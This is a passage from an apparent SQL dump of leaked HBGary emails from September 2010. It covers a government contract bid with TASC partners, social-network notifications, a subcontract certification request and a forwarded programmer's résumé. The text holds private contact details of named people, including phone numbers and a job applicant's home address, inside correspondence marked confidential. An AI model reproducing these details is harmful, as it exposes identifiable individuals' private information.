time.\r\n\r\n&nbsp;\r\n\r\nPlease let me know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThank you, \r\n\r\nDoug Britton\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16817,'aaron_hbgary_com/16817.html'),(11964,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008915.M298170P14101Q6820.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: COIN/Romas','Sure.\r\n7195108478\r\n\r\nI have a kids party to go to today so if using get me I will call back.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 19, 2010, at 8:33 AM, \"Lovegrove, John (TASC)\"\r\n wrote:\r\n\r\n> Aaron\r\n> Can you send me a phone number so we can talk today?\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, September 18, 2010 10:26 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\n> Subject: COIN/Romas\r\n>\r\n> New Twist.\r\n>\r\n> I spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n>\r\n> When does this ride end?\r\n>\r\n> Aaron\r\n>\r\n>\r\n',1072,'aaron_hbgary_com/1072.html'),(11965,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008915.M507381P14101Q6821.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: COIN/Romas','I should be ok to call around between 1100 and 1pm.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 19, 2010, at 8:33 AM, \"Lovegrove, John (TASC)\"\r\n wrote:\r\n\r\n> Aaron\r\n> Can you send me a phone number so we can talk today?\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, September 18, 2010 10:26 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\n> Subject: COIN/Romas\r\n>\r\n> New Twist.\r\n>\r\n> I spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n>\r\n> When does this ride end?\r\n>\r\n> Aaron\r\n>\r\n>\r\n',4229,'aaron_hbgary_com/4229.html'),(11966,'2010-09-19','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008915.M722445P14101Q6822.eml','aaron@hbgary.com','Re: COIN/Romas','Got it\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sunday, September 19, 2010 08:36 AM\r\nTo: Lovegrove, John (TASC)\r\nSubject: Re: COIN/Romas\r\n\r\nI should be ok to call around between 1100 and 1pm.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 19, 2010, at 8:33 AM, \"Lovegrove, John (TASC)\"\r\n wrote:\r\n\r\n> Aaron\r\n> Can you send me a phone number so we can talk today?\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, September 18, 2010 10:26 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\n> Subject: COIN/Romas\r\n>\r\n> New Twist.\r\n>\r\n> I spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n>\r\n> When does this ride end?\r\n>\r\n> Aaron\r\n>\r\n>\r\n',4953,'aaron_hbgary_com/4953.html'),(11967,'2010-09-19','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008915.M75838P14101Q6819.eml','aaron@hbgary.com','Re: COIN/Romas','Aaron\r\nCan you send me a phone number so we can talk today?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 10:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n',11009,'aaron_hbgary_com/11009.html'),(11968,'2010-09-19','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297008915.M920161P14101Q6823.eml','aaron@hbgary.com','test','test\r\n',16337,'aaron_hbgary_com/16337.html'),(11969,'2010-09-19','greg@gunwalegames.com','/aaron@hbgary.com/new/1297008916.M121834P14101Q6824.eml','aaron@hbgary.com','Building Types','\r\n\r\nI\'ve shared Building Types\r\nMessage from greg@gunwalegames.com:\r\ntest to see if you can edit spreadsheet from outside the gunwale domain.\r\nClick to open:\r\nBuilding Types\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',14703,'aaron_hbgary_com/14703.html'),(11970,'2010-09-19','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008916.M326821P14101Q6825.eml','federal@hbgary.com','Jason Mueller is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  Jason Mueller (@SecuraBit_Jay) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      Jason Mueller\r\n      @SecuraBit_Jay\r\n      \r\n        Washington D.C.\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        644\r\n        249\r\n        356\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  You do not follow Jason Mueller.\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about Jason Mueller on @SecuraBit_Jay\'s profile page.\r\n  \r\n    &bull;\r\n    Send Jason Mueller an @ reply.\r\n  \r\n    &bull;\r\n    Send Jason Mueller a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe Jason Mueller is engaging in abusive behavior on Twitter, you may report Jason Mueller for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',12435,'aaron_hbgary_com/12435.html'),(11971,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008916.M567447P14101Q6826.eml','\"Greg Hoglund\" <greg@gunwalegames.com>','Re: test','Got it.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 19, 2010, at 10:26 AM, Greg Hoglund  wrote:\r\n\r\n> test\r\n',12425,'aaron_hbgary_com/12425.html'),(11972,'2010-09-19','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297008916.M787018P14101Q6827.eml','aaron@hbgary.com,aaron@hbgary.com','Re: COIN/Romas','Aaron:\r\nWhy the changes?\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 10:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n',14501,'aaron_hbgary_com/14501.html'),(11973,'2010-09-19','\"William Dallas via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297008917.M10049P14101Q6828.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            William Dallas has indicated you are a Colleague at Northrop Grumman:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\nAaron,\r\n\r\n  Sorry for the delay in connecting, I have been working my day job and a large prop! \r\n\r\n- Dix Dallas\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from William Dallas\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH WILLIAM DALLAS BE A GOOD IDEA?\r\n  William Dallas\'s connections could be useful to you After accepting William Dallas\'s invitation, check William Dallas\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',3403,'aaron_hbgary_com/3403.html'),(11974,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008917.M237127P14101Q6829.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>','Re: COIN/Romas','Complicated.  I am going to talk with John L. in a few and fill him\r\nin.  NG/SAIC tried a run with the new COTR for sole source and it\r\nalmost worked.  John S. said he would not be a part of that so the\r\nagreement was to break it back up and compete separately.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 19, 2010, at 10:44 AM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> Why the changes?\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, September 18, 2010 10:26 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\n> Subject: COIN/Romas\r\n>\r\n> New Twist.\r\n>\r\n> I spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n>\r\n> When does this ride end?\r\n>\r\n> Aaron\r\n>\r\n>\r\n',9123,'aaron_hbgary_com/9123.html'),(11975,'2010-09-19','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297008917.M492738P14101Q6830.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary BlackHat Talk','Aaron,\r\n\r\nThanks for passing along the slides!  What positions are you trying to\r\nfill on the Federal side?  With HP in the process of buying ArcSight,\r\nthere are a few of us that aren\'t interested in working for a 304k\r\nemployee company who\'s sole focus isn\'t cyber security.  Any info you\r\ncan pass my way would be much appreciated.  Looking forward to the\r\npodcast as well!\r\n\r\nR/\r\n\r\nJason Mueller\r\n\r\n\r\nOn Sep 18, 2010, at 11:28 PM, Aaron Barr  wrote:\r\n\r\n> Hey Jason,\r\n>\r\n> Sorry I didn\'t get to this right away.\r\n>\r\n> Certainly,\r\n> attached are the slides.\r\n>\r\n> Talk to you next week.\r\n>\r\n> We are doing a lot in this area of attribution.\r\n>\r\n> Aaron\r\n>\r\n> \r\n>\r\n>\r\n>\r\n> On Sep 9, 2010, at 8:32 AM, Jason Mueller wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> By chance, are you able to pass along the talk given by Greg Hoglund\r\n>> \"Malware Attribution: Tracking Cyber Spies and Digital Criminals.\"  My\r\n>> day job consists of supporting the FBI\'s ESOC and I\'ve heard great\r\n>> things about Greg\'s talk.  Unfortunately I wasn\'t able to make it out\r\n>> to Vegas this year but I was hoping you\'d be able to pass this along.\r\n>> Thanks in advance!\r\n>>\r\n>> R/\r\n>>\r\n>> Jason Mueller\r\n>\r\n',3718,'aaron_hbgary_com/3718.html'),(11976,'2010-09-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008917.M736107P14101Q6831.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: South side business news','I\'m putting a full page ad in this for izigg.&nbsp;Begin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;Date: September 18, 2010 9:06:10 PM MDTTo: Vera Ted &lt;ted@hbgary.com&gt;, Vera Ted &lt;tedvera@me.com&gt;Subject: South side business newshttp://www.southsidebusiness.com/SSBNMediaGuide10.pdf\r\n',14183,'aaron_hbgary_com/14183.html'),(11977,'2010-09-19','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008918.M328599P14101Q6833.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','RE: COIN/Romas','I spoke to Aaron this morning, recommend we have a conference call on\r\nMonday to catch everyone up.  Chris, can you schedule it when you get in\r\non tomorrow?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, September 18, 2010 11:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC);\r\nPisani, Albert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.  Things have changed.\r\nThey are going to now break out each of the 4 areas and release 4 RFPs.\r\nAlso HBGary Federal is being added directly to the bidders list.  I have\r\nto go into the office and sign some paperwork.  I don\'t think the last\r\npart really changes much from my perspective, but with the other news we\r\nneed to sit down and talk this through.  The RFPs should be coming out\r\nin the next week or so.  I unfortunately will be in Cincinatti\r\nMon-Thurs.  I can meet monday morning after I head in to see John and\r\nbefore the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n',15715,'aaron_hbgary_com/15715.html'),(11978,'2010-09-19','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297008918.M584163P14101Q6834.eml','aaron@hbgary.com','Re: COIN/Romas','Aaron:\r\nThanks - nothing is easy. \r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sunday, September 19, 2010 09:57 AM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: COIN/Romas\r\n\r\nComplicated.  I am going to talk with John L. in a few and fill him\r\nin.  NG/SAIC tried a run with the new COTR for sole source and it\r\nalmost worked.  John S. said he would not be a part of that so the\r\nagreement was to break it back up and compete separately.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 19, 2010, at 10:44 AM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> Why the changes?\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, September 18, 2010 10:26 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\n> Subject: COIN/Romas\r\n>\r\n> New Twist.\r\n>\r\n> I spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n>\r\n> When does this ride end?\r\n>\r\n> Aaron\r\n>\r\n>\r\n',15615,'aaron_hbgary_com/15615.html'),(11979,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008918.M95066P14101Q6832.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary BlackHat Talk','Sent from my iPhoneBegin forwarded message:From: Jason Mueller &lt;jmueller2004@gmail.com&gt;\r\nDate: September 19, 2010 11:00:06 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: HBGary BlackHat Talk\r\nAaron,Thanks for passing along the slides!  What positions are you trying tofill on the Federal side?  With HP in the process of buying ArcSight,\r\nthere are a few of us that aren&#39;t interested in working for a 304kemployee company who&#39;s sole focus isn&#39;t cyber security.  Any info youcan pass my way would be much appreciated.  Looking forward to the\r\npodcast as well!R/Jason MuellerOn Sep 18, 2010, at 11:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Jason,Sorry I didn&#39;t get to this right away.\r\nCertainly,attached are the slides.\r\nTalk to you next week.We are doing a lot in this area of attribution.\r\nAaron&lt;Tracking Cyber-threat Actors.pptx&gt;\r\nOn Sep 9, 2010, at 8:32 AM, Jason Mueller wrote:\r\nAaron,\r\nBy chance, are you able to pass along the talk given by Greg Hoglund\r\n&quot;Malware Attribution: Tracking Cyber Spies and Digital Criminals.&quot;  Myday job consists of supporting the FBI&#39;s ESOC and I&#39;ve heard great\r\nthings about Greg&#39;s talk.  Unfortunately I wasn&#39;t able to make it out\r\nto Vegas this year but I was hoping you&#39;d be able to pass this along.Thanks in advance!\r\nR/\r\nJason Mueller\r\n',5095,'aaron_hbgary_com/5095.html'),(11980,'2010-09-19','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008919.M42525P14101Q6835.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>','Certification Regading Former Sponsor Employees','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; In accordance with RFP Section K, K.17\r\n152.204-728, please confirm/certify that you are not proposing the use of a\r\nrecent former sponsor employee by submitting (via email) the statement below by\r\nMonday, 9/13/2010 at 5:00 PM. \r\n\r\n&nbsp;\r\n\r\nThe Offeror, __________________________\r\n(insert your company name), certifies that it has not proposed the use of any\r\nperson in the direct performance of this contract who has resigned (not\r\nincluding retired) from employment with the Sponsor within the previous 18\r\nmonths, has been barred from performing Sponsor contracts for a period of time\r\nas a result of a recommendation from a Sponso Advisory Board, or was terminated\r\nfrom employment with the Sponsor.&nbsp; The Offeror also certifies that its subcontractors\r\nhave not proposed use of any such person in the direct performance of this\r\ncontract.\r\n\r\n&nbsp;\r\n\r\nThe certification from section K is below.&nbsp; Let us know\r\nif you have any questions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8303,'aaron_hbgary_com/8303.html'),(11981,'2010-09-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008925.M695126P14101Q6836.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: new programmer to join gunwale games team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWow.&nbsp; Nice resume.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, September 18, 2010 7:50 PM\r\nTo: Bob Slapnik; Aaron Barr\r\nSubject: new programmer to join gunwale games team\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, Bob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am bringing a programmer on board next wednesday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is his resume:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJOHN\r\nMICHAEL RANSOM\r\n\r\n1235 Wildwood Ave\r\n#94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSunnyvale, CA 94089&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(650) 274-1577&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; johnmr@ncc1701d.net&nbsp;\r\n\r\nEDUCATION \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The\r\nArt Institute of California-San Francisco&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCalifornia State University, Sacramento, CA\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;B.S.,\r\nVisual and Game Programming, March 2008&nbsp;&nbsp;&nbsp;&nbsp; B.S., Computer\r\nEngineering, May 1997&nbsp;\r\n\r\nEXPERIENCE\r\n\r\nPC Game Programmer,\r\nCryptic Studios,&nbsp; Los Gatos, CA&nbsp;&nbsp;&nbsp;&nbsp;4/09-7/10 \r\n\r\n\r\n In\r\n     a team environment programmed Star Trek Online for the PC in C. \r\n Programmed\r\n     the character costume creator and the ship appearance customizer. \r\n Programmed\r\n     features for the in game fleet system including fleet event scheduling.\r\n     \r\n Programmed\r\n     supporting code for having different in game species. \r\n Programmed\r\n     many UI elements using an internal scripting language. \r\n Programmed\r\n     the random name generator. \r\n\r\n\r\n&nbsp;\r\n\r\nGame Console\r\nProgrammer Consultant, Dark VooDoo,&nbsp; San Francisco,\r\nCA&nbsp;&nbsp;10/05-3/09\r\n\r\n\r\n Worked\r\n     as a consultant for a startup company. Telecommuted three to four days a\r\n     week. \r\n Programmed\r\n     3D interface for World Editor tool and world object code on PC in C++.\r\n     \r\n Programmed\r\n     sound editor tool on PC and sound object code in C++. \r\n Programmed\r\n     the library controller code, audio code and save game memory code for the\r\n     Wii in C. \r\n In\r\n     a team environment, ported PurrPals from Nintendo DS to the Wii. It was\r\n     written in C. \r\n For\r\n     this game programmed three new mini games. \r\n Remade\r\n     the other mini games for the Wii using the WiiRemote motion sensor.\r\n     \r\n Using\r\n     the company library programmed Mahjong and Foosball for WiiWare in C.\r\n     \r\n Making\r\n     these involved AI, Physics (Bullet Physics), Gameplay and Graphics\r\n     programming. \r\n\r\n\r\n&nbsp;\r\n\r\nGame Console\r\nProgrammer, Page 44 (989 Sports &amp; Sony),&nbsp; San Francisco,\r\nCA&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;2/04-9/05\r\n\r\n\r\n In\r\n     team environment, programmed Gretzky NHL 2005/2006 for Playstation 2 and\r\n     Portable in C. \r\n Programmed\r\n     HUD and front end. \r\n Contributed\r\n     to memory card code and network code. \r\n\r\n\r\n&nbsp;\r\n\r\nGame Console\r\nProgrammer, 3DO,&nbsp; Redwood City, CA&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;8/00-2/01\r\n\r\n\r\n In\r\n     team environment, programmed WDL: Thundertanks for Playstation 2 in\r\n     C.&nbsp;3/02-5/03 \r\n For\r\n     this programmed HUD, 3D sound, localization for Europe, and some front\r\n     end. \r\n Worked\r\n     on unreleased titles on Playstation 2, GameCube, and Xbox in C++. \r\n For\r\n     these programmed sound, movie player and localization code. \r\n Programmed\r\n     HUD and 3D in-game menus. \r\n Programmed\r\n     asynchronous file loading for asynchronous loading of data during game\r\n     play. \r\n\r\n\r\n&nbsp;\r\n\r\nGame Console\r\nProgrammer,&nbsp; Konami, Redwood City, CA&nbsp;&nbsp;&nbsp;&nbsp;3/01-2/02\r\n\r\n\r\n In\r\n     a team environment, programmed Frogger: The Great Quest for Playstation 2\r\n     in C++. \r\n Programmed\r\n     file system to asynchronously uncompress data as it loads. \r\n Programmed\r\n     PS2 movie player and made it playable to texture. \r\n Programmed\r\n     the font engine. \r\n\r\n\r\n&nbsp;\r\n\r\nSystems\r\nProgrammer,&nbsp; Synergex, Gold River,\r\nCA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6/97-8/00\r\n\r\n\r\n In\r\n     a team environment, ported PVCS to different platforms. PVCS was written\r\n     in C, C++ and Java. \r\n Helped\r\n     with PVCS support calls, and did research into portability issues. \r\n Developed\r\n     code using Unix Script, and Configuration Builder to make porting process\r\n     easier. \r\n Performed\r\n     some on site consulting for Synergex customers. \r\n\r\n\r\n&nbsp;\r\n\r\nAFFILIATIONS &amp;\r\nACCOMPLISHMENTS\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*\r\nToastmasters International, CTM Award\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*\r\nEagle Scout, Boy Scouts of 